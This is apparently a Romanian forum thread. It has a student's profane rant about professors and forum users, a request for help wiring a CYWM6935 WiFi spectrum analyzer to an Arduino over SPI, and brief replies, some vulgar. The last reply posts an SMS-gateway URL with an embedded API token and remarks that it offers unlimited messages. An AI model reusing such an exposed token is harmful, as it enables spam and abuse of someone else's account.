Asa e romanul vai de capul lui.. Nici explicatii nu stie sa dea, se uita numai la capra vecinului si rade de ea, a lui e deja moarta. Nu mai trebuie sa ma ajutati "prea-ultra-cunoscatorilor-si-prea-marii-inteligenti-ai-sulii", am rezolvat singur toate astea, macar sa-mi fi explicat si mie cate ceva, sa fi aparut unul sa zica, bai prostule, uite, RX e aia TX e aia, nu sa vina pe aici "a tot stiutorii sulii mele", bolnavi mintali care zic ca noi studentii nu invatam, cand colo, ce sa invatam, de la cine? Daca nu sunt profesori care trebuie sa te invete, ei stau toata ziua buna ziua la facultate si nu te invata nimic, ce te invata? Sa te joci pe calculator? Ca noi asta facem la facultate, ne jucam pe calculator, vorbim de copii, de casatorie, de altceva, de informatica nimic, si atat, in rest ce facem? Frecam menta, si apar cativa idioti pe aici pe forum sa zica ca e tot vina noastra ca nu invatam, ca deh, se baga ca musca in curul calului ca sa se afle si ei in treaba, a tot desteptii romaniei, care in 30 de ani, au stat cu musca pe caciula si nu au fost si ei in stare sa faca un protest ca sa poata schimba ceva in tara asta vai de mama ei si maine poimaine apar pe la TV sa le dea tinerilor din ziua de azi lectii de viata, cand ei nu au fost in stare sa schimbe ceva timp de 30 de ani. N-au fost in stare sa adopte o lege care sa le interzica tuturor persoanelor care au avut dosare penale dreptul de a mai lucra in vreo institutie a statului roman. O sa mai pomeniti voi de tinerii din ziua de azi, cand o sa rasara 2-3 si 1.000 sunt pe butuci cu intelectul, cam ca voi astia care va credeti destepti, cand colo habar nu aveti ce vorbiti! Puteti inchide topicul, bye!

As dori daca se poate sa ma ajutati si pe mine cu acest proiect pentru facultate, ci anume sa creez un spectrum wifi utilizand cipul wifi CYWM6935 si placuta leonardo pro mini, iar acel spectrum sa mi se afiseze pe un display, sa mai adaug aici ca acest proiect ar trebui sa fie "stand alone" anume sa-l pun cumva pe baterii fara sa fie conectat la calculator. Eu am asamblat piesele insa nu stiu daca sunt bine aranjate, am rulat programul gasit aici: Proiect arduino in python insa nu-mi afiseaza corect acel spectrum, stiu asta intrucat am telefonul in mana cu o aplicatie spectrum si compar rezultatele. Am observat ca in codul din fisierul "ArduinoSA.ino" este acel ledPin = 2, si nu stiu la ce foloseste. Mai mentionez ca proiectul este facut pe magistrala SPI. Eu am urmatoarele conexiuni: /** * Cypress RADIO module 12-pin connector pins * Note that VCC=logic=3.3v * Name: GND VCC IRQ RESET MOSI SS SCK MISO GND PD * Pin: 1 2 3 4 5 6 7 8 9 10 (aici sunt pinii de la cip, gasiti documentarea aici: https://www.mouser.co.cr/ds/2/100/CYWM6935_38-16013_0C_V-42521.pdf) * Arduino: - +(3,3v) Neconectat D6 D11 D7 D13 D12 - PULLUP(nu stiu ce inseamna, nu l-am conectat) (iar aici sunt pinii de la arduino) */

Hi

Frumos spus!

daca ne bagam noi pla in mata ce are

Vad ca are sms-uri nelimitate https://www.opa-sms.ro/api/send/CVd4OLW9vzowpEx7PCwTO1248bGeI4WTDIWDM3d2/NUMAR TELEFON/MESAJ